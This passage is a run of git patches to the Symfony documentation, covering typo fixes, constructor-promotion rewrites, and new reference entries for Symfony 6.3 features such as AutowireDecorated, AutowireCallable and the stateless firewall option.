+    By default, it throw an exception when data is not belong to a backed enumeration. If you
+    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
+
+    .. versionadded:: 6.3
+
+        The ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` context option was introduced in Symfony 6.3.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
     This normalizer works with classes that implement
     :class:`Symfony\\Component\\Form\\FormInterface`.

From ea78a5d1c95c7cae09814bbd650f09e981ef5259 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Thu, 9 Mar 2023 22:35:35 +0100
Subject: [PATCH 3040/5766] Add missing import for LogRecord in processors

---
 logging/processors.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/logging/processors.rst b/logging/processors.rst
index 6d2fe971729..81c36e4a3d4 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -19,6 +19,7 @@ using a processor::
     // src/Logger/SessionRequestProcessor.php
     namespace App\Logger;
 
+    use Monolog\LogRecord;
     use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException;
     use Symfony\Component\HttpFoundation\RequestStack;
 

From a6e08b2f25958609189b61e091882f969ddff55b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 08:02:29 +0100
Subject: [PATCH 3041/5766] Minor

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c274d7fc33e..6aac030b225 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -851,7 +851,7 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
     This normalizer converts a \BackedEnum objects into strings or integers.
 
-    By default, it throw an exception when data is not belong to a backed enumeration. If you
+    By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
     .. versionadded:: 6.3

From 15465df251c19acff319db5304db7c9471be99e2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 08:07:41 +0100
Subject: [PATCH 3042/5766] Use CPP

---
 logging/processors.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 81c36e4a3d4..0ff2e88ea78 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -25,11 +25,9 @@ using a processor::
 
     class SessionRequestProcessor
     {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+        public function __construct(
+            private RequestStack $requestStack
+        ) {
         }
 
         // this method is called for each log record; optimize it to not hurt performance

From 12e04fe5cc4f8f1ede3dc495236234bf3009bca1 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Fri, 10 Mar 2023 12:25:55 +0100
Subject: [PATCH 3043/5766] Use cpp in monolog console code example

---
 logging/monolog_console.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 008be08a463..fe9758430d6 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -45,11 +45,8 @@ The example above could then be rewritten as::
 
     class YourCommand extends Command
     {
-        private $logger;
-
-        public function __construct(LoggerInterface $logger)
+        public function __construct(private LoggerInterface $logger)
         {
-            $this->logger = $logger;
         }
 
         protected function execute(InputInterface $input, OutputInterface $output)

From f70051b900b1835680d1b373e65af945c0edf5a4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:48:46 +0100
Subject: [PATCH 3044/5766] Minor

---
 service_container/factories.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 36a9a2e7db8..98ba2a1b791 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -19,7 +19,7 @@ Static Factories
 Suppose you have a factory that configures and returns a new ``NewsletterManager``
 object by calling the static ``createNewsletterManager()`` method::
 
-    // src/Email\NewsletterManagerStaticFactory.php
+    // src/Email/NewsletterManagerStaticFactory.php
     namespace App\Email;
 
     // ...

From 95a06a15451730816b9126136011956d4a8709df Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:18:10 +0100
Subject: [PATCH 3045/5766] [DependencyInjection] Explain how to use the class
 itself as factory

---
 service_container/factories.rst | 73 +++++++++++++++++++++++++++++++++
 1 file changed, 73 insertions(+)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 36a9a2e7db8..6db7e7261bf 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -100,6 +100,79 @@ create its object:
     the configured class name may be used by compiler passes and therefore
     should be set to a sensible value.
 
+Using the Class as Factory Itself
+---------------------------------
+
+When the static factory method is on the same class as the created instance,
+the class name can be omitted from the factory declaration.
+Let's suppose the ``NewsletterManager`` class has a ``create()`` method that needs
+to be called to create the object and needs a sender::
+
+    // src/Email/NewsletterManager.php
+    namespace App\Email;
+
+    // ...
+
+    class NewsletterManager
+    {
+        private string $sender;
+
+        public static function create(string $sender): self
+        {
+            $newsletterManager = new self();
+            $newsletterManager->sender = $sender;
+            // ...
+
+            return $newsletterManager;
+        }
+    }
+
+You can omit the class on the factory declaration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Email\NewsletterManager:
+                factory: [null, 'create']
+                arguments:
+                    $sender: 'fabien@symfony.com'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManager">
+                    <factory method="create"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManager;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            // Note that we are not using service()
+            $services->set(NewsletterManager::class)
+                ->factory([null, 'create']);
+        };
+
 Non-Static Factories
 --------------------
 

From a6246a75c55437f5bd598b634071ab3d3ff1943b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 10 Mar 2023 16:57:44 +0100
Subject: [PATCH 3046/5766] Remove duplicate mention

---
 service_container/factories.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 930e2160c6d..ba747c82da8 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -65,12 +65,6 @@ create its object:
                 <service id="App\Email\NewsletterManager">
                     <!-- the first argument is the class and the second argument is the static method -->
                     <factory class="App\Email\NewsletterManagerStaticFactory" method="createNewsletterManager"/>
-
-                    <!-- if the factory class is the same as the service class, you can omit
-                         the 'class' attribute and define just the 'method' attribute:
-
-                         <factory method="createNewsletterManager"/>
-                    -->
                 </service>
             </services>
         </container>

From 7a1e101e8c9e8cd2434802b618e2d621309eab8f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Mar 2023 13:35:09 +0100
Subject: [PATCH 3047/5766] [Validator] Add `exclude` option to `Cascade`

---
 reference/constraints/Cascade.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index 5880fdd6389..eb470fd8e31 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -87,4 +87,16 @@ Options
 
 The ``groups`` option is not available for this constraint.
 
+``exclude``
+~~~~~~~~~~~
+
+**type**: ``array`` | ``string`` **default**: ``null``
+
+This option can be used to exclude one or more properties from the
+cascade validation.
+
+.. versionadded:: 6.3
+
+    The ``exclude`` option was introduced in Symfony 6.3.
+
 .. include:: /reference/constraints/_payload-option.rst.inc

From 8d3e31ae50749bac465eb485dcfbfcad4de670cd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Mar 2023 17:51:11 +0100
Subject: [PATCH 3048/5766] [Attributes] Add `#[MapDateTime]` reference

---
 controller/value_resolver.rst | 3 ++-
 reference/attributes.rst      | 2 +-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 6ceeee77084..fa71918cd7d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -96,7 +96,8 @@ Symfony ships with the following value resolvers in the
 
     .. versionadded:: 6.1
 
-        The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
+        The ``DateTimeValueResolver`` and the ``MapDateTime`` attribute were
+        introduced in Symfony 6.1.
 
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
diff --git a/reference/attributes.rst b/reference/attributes.rst
index f2b22ca958d..0761df10a54 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -53,7 +53,7 @@ HttpKernel
 
 * :doc:`AsController </controller/service>`
 * :ref:`Cache <http-cache-expiration-intro>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
+* :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
 
 Messenger
 ~~~~~~~~~

From 7a7a82fde75959a5d3398960d8bfd48933b15abe Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 3 Jan 2023 22:13:19 +0100
Subject: [PATCH 3049/5766] [SecurityBundle] Add doc for stateless firewall

---
 reference/configuration/security.rst | 48 ++++++++++++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 672d93b0b0a..826363f317b 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -899,6 +899,54 @@ multiple firewalls, the "context" could actually be shared:
     ignored and you won't be able to authenticate on multiple firewalls at the
     same time.
 
+stateless
+~~~~~~~~~
+
+Firewalls can configure a ``stateless`` boolean option in order to declare that the session mustn't be used when authenticating user:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    stateless: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main" stateless="true">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $mainFirewall = $security->firewall('main');
+            $mainFirewall->stateless(true);
+            // ...
+        };
+
 User Checkers
 ~~~~~~~~~~~~~
 

From 7a68b25de5f3532515094d66ba9dcccfaddf9faf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 10 Mar 2023 20:14:10 +0100
Subject: [PATCH 3050/5766] [Attributes] Add `AsAlias` reference

---
 reference/attributes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e6dc4a2bc6f..d82fb093715 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -28,7 +28,7 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AsAlias`
+* :ref:`AsAlias <services-alias>`
 * :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`

From 0d2486dd3d0fc8b627a0602ce0a8e9ac828416ff Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 10 Mar 2023 20:21:14 +0100
Subject: [PATCH 3051/5766] [Form] Remove evasive getOrigin sentence

---
 components/form.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/form.rst b/components/form.rst
index ac569e3d8eb..601f66641b9 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -749,7 +749,6 @@ method to access the list of errors. It returns a
     $errors = $form['firstName']->getErrors();
 
     // a FormErrorIterator instance in a flattened structure
-    // use getOrigin() to determine the form causing the error
     $errors = $form->getErrors(true);
 
     // a FormErrorIterator instance representing the form tree structure

From 4b5877c523c7f9efd3f69c257716044f7da127f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 9 Mar 2023 19:56:15 +0100
Subject: [PATCH 3052/5766] Change security title for checking if user is
 logged in

---
 security.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 79e08227f34..3908b976d4a 100644
--- a/security.rst
+++ b/security.rst
@@ -2456,15 +2456,17 @@ these voters is similar to the role-based access checks implemented in the
 previous chapters. Read :doc:`/security/voters` to learn how to implement
 your own voter.
 
-Checking to see if a User is Logged In (IS_AUTHENTICATED_FULLY)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _checking-to-see-if-a-user-is-logged-in-is-authenticated-fully:
+
+Checking to see if a User is Logged In
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you *only* want to check if a user is logged in (you don't care about roles),
 you have the following two options.
 
 Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
 
-Secondly, you can use a special "attribute" in place of a role::
+Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role::
 
     // ...
 

From b7392ebe91df3a3d46f4aceb0160541b57efee0c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 10:44:36 +0100
Subject: [PATCH 3053/5766] Fix: Typo

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3908b976d4a..cb2e21d675e 100644
--- a/security.rst
+++ b/security.rst
@@ -2533,7 +2533,7 @@ If you're having problems authenticating, it could be that you *are* authenticat
 successfully, but you immediately lose authentication after the first redirect.
 
 In that case, review the serialization logic (e.g. the ``__serialize()`` or
-``serialize()`` methods) on you user class (if you have any) to make sure
+``serialize()`` methods) on your user class (if you have any) to make sure
 that all the fields necessary are serialized and also exclude all the
 fields not necessary to be serialized (e.g. Doctrine relations).
 

From 12880b880ff761034bf16b23e7a9bb00d63c3f33 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 10:48:40 +0100
Subject: [PATCH 3054/5766] Minor

---
 logging/monolog_console.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index fe9758430d6..54ae9c7ab7b 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -45,8 +45,9 @@ The example above could then be rewritten as::
 
     class YourCommand extends Command
     {
-        public function __construct(private LoggerInterface $logger)
-        {
+        public function __construct(
+            private LoggerInterface $logger,
+        ) {
         }
 
         protected function execute(InputInterface $input, OutputInterface $output)

From bcf4bec11d844544e3ad5f6468da59363b0b9067 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 10 Mar 2023 21:27:07 +0100
Subject: [PATCH 3055/5766] DependencyInjection] Deprecate `#[MapDecorated]` in
 favor of `#[AutowireDecorated]`

---
 reference/attributes.rst                      |  2 +-
 service_container/service_decoration.rst      | 20 ++++++++++++-------
 .../service_subscribers_locators.rst          |  4 ++--
 3 files changed, 16 insertions(+), 10 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index e6dc4a2bc6f..d6b91c57574 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -34,8 +34,8 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :doc:`AutowireDecorated </service_container/service_decoration>`
 * :ref:`Exclude <service-psr4-loader>`
-* :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 7bc3ea7e5fa..2662c0ac85e 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -150,14 +150,14 @@ automatically changed to ``'.inner'``):
 
         // ...
         use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-        use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
         #[AsDecorator(decorates: Mailer::class)]
         class DecoratingMailer
         {
             private $inner;
 
-            public function __construct(#[MapDecorated] $inner)
+            public function __construct(#[AutowireDecorated] $inner)
             {
                 $this->inner = $inner;
             }
@@ -215,6 +215,12 @@ automatically changed to ``'.inner'``):
                 ->args([service('.inner')]);
         };
 
+.. deprecated:: 6.3
+
+    The ``#[MapDecorated]`` attribute is deprecated since Symfony 6.3.
+    Instead, use the
+    :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
+
 .. tip::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
@@ -293,14 +299,14 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
 
             // ...
             use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
 
             #[AsDecorator(decorates: Foo::class, priority: 5)]
             class Bar
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
@@ -312,7 +318,7 @@ the ``decoration_priority`` option. Its value is an integer that defaults to
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
@@ -616,7 +622,7 @@ Three different behaviors are available:
 
             // ...
             use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\MapDecorated;
+            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
             use Symfony\Component\DependencyInjection\ContainerInterface;
 
             #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
@@ -624,7 +630,7 @@ Three different behaviors are available:
             {
                 private $inner;
 
-                public function __construct(#[MapDecorated] $inner)
+                public function __construct(#[AutowireDecorated] $inner)
                 {
                     $this->inner = $inner;
                 }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 925f824d99f..016baa0252f 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -263,7 +263,7 @@ method directly:
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
 This is done by having ``getSubscribedServices()`` return an array of
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` objects
@@ -864,7 +864,7 @@ of the following dependency injection attributes:
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
 * :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
-* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\MapDecorated`
+* :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated`
 
 Here's an example::
 

From 5af80afba0c0ee0917a295a550ca58de0024318d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 12 Mar 2023 11:22:04 +0100
Subject: [PATCH 3056/5766] [DependencyInjection] Add `#[AutowireCallable]` and
 `#[AutowireServiceClosure]`

---
 reference/attributes.rst               |  2 ++
 service_container.rst                  | 47 ++++++++++++++++++++++++++
 service_container/service_closures.rst | 38 +++++++++++++++++++++
 3 files changed, 87 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 5ec2d0578d6..da7aa372e81 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -34,7 +34,9 @@ Dependency Injection
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
 * :ref:`Autowire <autowire-attribute>`
+* :ref:`AutowireCallable <container_closure-as-argument>`
 * :doc:`AutowireDecorated </service_container/service_decoration>`
+* :doc:`AutowireServiceClosure </service_container/service_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
diff --git a/service_container.rst b/service_container.rst
index e73d7ea86f1..386e0faa1b5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -702,6 +702,8 @@ For a full list of *all* possible services in the container, run:
 
     $ php bin/console debug:container
 
+.. _container_closure-as-argument:
+
 Injecting a Closure as an Argument
 ----------------------------------
 
@@ -796,6 +798,51 @@ Our configuration looks like this:
 
     The ``closure`` argument type was introduced in Symfony 6.1.
 
+It is also possible to convert a callable into an injected closure
+thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+attribute. Let's say our ``MessageHashGenerator`` class now has a ``generate()``
+method::
+
+        // src/Hash/MessageHashGenerator.php
+        namespace App\Hash;
+
+        class MessageHashGenerator
+        {
+            public function generate(): string
+            {
+                // Compute and return a message hash
+            }
+        }
+
+We can inject the ``generate()`` method of the ``MessageHashGenerator``
+like this::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use App\Hash\MessageHashGenerator;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\AutowireCallable;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            private readonly LoggerInterface $logger,
+            #[AutowireCallable(service: MessageHashGenerator::class, method: 'generate')]
+            private readonly \Closure $generateMessageHash
+        ) {
+            // ...
+        }
+
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireCallable`
+    attribute was introduced in Symfony 6.3.
+
 .. _services-binding:
 
 Binding Arguments by Name or Type
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 54b4db7f4a7..8a0bb450e68 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -92,6 +92,44 @@ argument of type ``service_closure``:
     Another way to inject services lazily is via a
     :doc:`service locator </service_container/service_subscribers_locators>`.
 
+Thanks to the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+attribute, defining a service wrapped in a closure can directly be done
+in the service class, without further configuration::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireServiceClosure;
+    use Symfony\Component\Mailer\MailerInterface;
+
+    class MyService
+    {
+        public function __construct(
+            #[AutowireServiceClosure('mailer')]
+            private readonly \Closure $mailer
+        ) {
+            $this->mailer = $mailer;
+        }
+
+        public function doSomething(): void
+        {
+            // ...
+
+            $this->getMailer()->send($email);
+        }
+
+        private function getMailer(): MailerInterface
+        {
+            return ($this->mailer)();
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireServiceClosure`
+    attribute was introduced in Symfony 6.3.
+
 Using a Service Closure in a Compiler Pass
 ------------------------------------------
 

From 1e65fc3d26f5e009e4834b6ca1b4cc2087909a19 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 13 Mar 2023 10:26:52 +0100
Subject: [PATCH 3057/5766] Upgrade doctor rst 1.41.3

---
 .github/workflows/ci.yaml       |  2 +-
 components/runtime.rst          | 17 -----------------
 components/uid.rst              | 10 ++--------
 components/var_exporter.rst     |  1 -
 page_creation.rst               |  1 -
 quick_tour/flex_recipes.rst     |  2 --
 quick_tour/the_architecture.rst |  4 ----
 quick_tour/the_big_picture.rst  |  2 --
 8 files changed, 3 insertions(+), 36 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 1139dcddf94..a240982650a 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.41.0
+                uses: docker://oskarstark/doctor-rst:1.41.3
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/components/runtime.rst b/components/runtime.rst
index c0cf100f809..1e191333c66 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -30,7 +30,6 @@ The Runtime component abstracts most bootstrapping logic as so-called
 For instance, the Runtime component allows Symfony's ``public/index.php``
 to look like this::
 
-    <?php
     // public/index.php
     use App\Kernel;
 
@@ -120,7 +119,6 @@ Resolvable Arguments
 
 The closure returned from the front-controller may have zero or more arguments::
 
-    <?php
     // public/index.php
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
@@ -167,7 +165,6 @@ Resolvable Applications
 The application returned by the closure below is a Symfony Kernel. However,
 a number of different applications are supported::
 
-    <?php
     // public/index.php
     use App\Kernel;
 
@@ -187,7 +184,6 @@ The ``SymfonyRuntime`` can handle these applications:
     The Response will be printed by
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ResponseRunner`::
 
-        <?php
         // public/index.php
         use Symfony\Component\HttpFoundation\Response;
 
@@ -201,8 +197,6 @@ The ``SymfonyRuntime`` can handle these applications:
     To write single command applications. This will use the
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
-        <?php
-
         use Symfony\Component\Console\Command\Command;
         use Symfony\Component\Console\Input\InputInterface;
         use Symfony\Component\Console\Output\OutputInterface;
@@ -221,8 +215,6 @@ The ``SymfonyRuntime`` can handle these applications:
     Useful with console applications with more than one command. This will use the
     :class:`Symfony\\Component\\Runtime\\Runner\\Symfony\\ConsoleApplicationRunner`::
 
-        <?php
-
         use Symfony\Component\Console\Application;
         use Symfony\Component\Console\Command\Command;
         use Symfony\Component\Console\Input\InputInterface;
@@ -250,7 +242,6 @@ applications:
     The ``RunnerInterface`` is a way to use a custom application with the
     generic Runtime::
 
-        <?php
         // public/index.php
         use Symfony\Component\Runtime\RunnerInterface;
 
@@ -271,9 +262,7 @@ applications:
     Your "application" can also be a ``callable``. The first callable will return
     the "application" and the second callable is the "application" itself::
 
-        <?php
         // public/index.php
-
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         return function () {
@@ -290,8 +279,6 @@ applications:
     If the callable doesn't return anything, the ``SymfonyRuntime`` will assume
     everything is fine::
 
-        <?php
-
         require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
         return function () {
@@ -304,8 +291,6 @@ Using Options
 Some behavior of the Runtimes can be modified through runtime options. They
 can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
-    <?php
-
     $_SERVER['APP_RUNTIME_OPTIONS'] = [
         'project_dir' => '/var/task',
     ];
@@ -496,8 +481,6 @@ always using this ``ReactPHPRunner``::
 
 The end user will now be able to create front controller like::
 
-    <?php
-
     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
 
     return function (array $context) {
diff --git a/components/uid.rst b/components/uid.rst
index caac3034429..96203589d3d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -128,17 +128,15 @@ configure the behavior of the factory using configuration files::
     .. code-block:: php
 
         // config/packages/uid.php
-        <?php
-
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
         return static function (ContainerConfigurator $containerConfigurator): void {
-            $services = $configurator->services()
+            $services = $containerConfigurator->services()
                 ->defaults()
                 ->autowire()
                 ->autoconfigure();
 
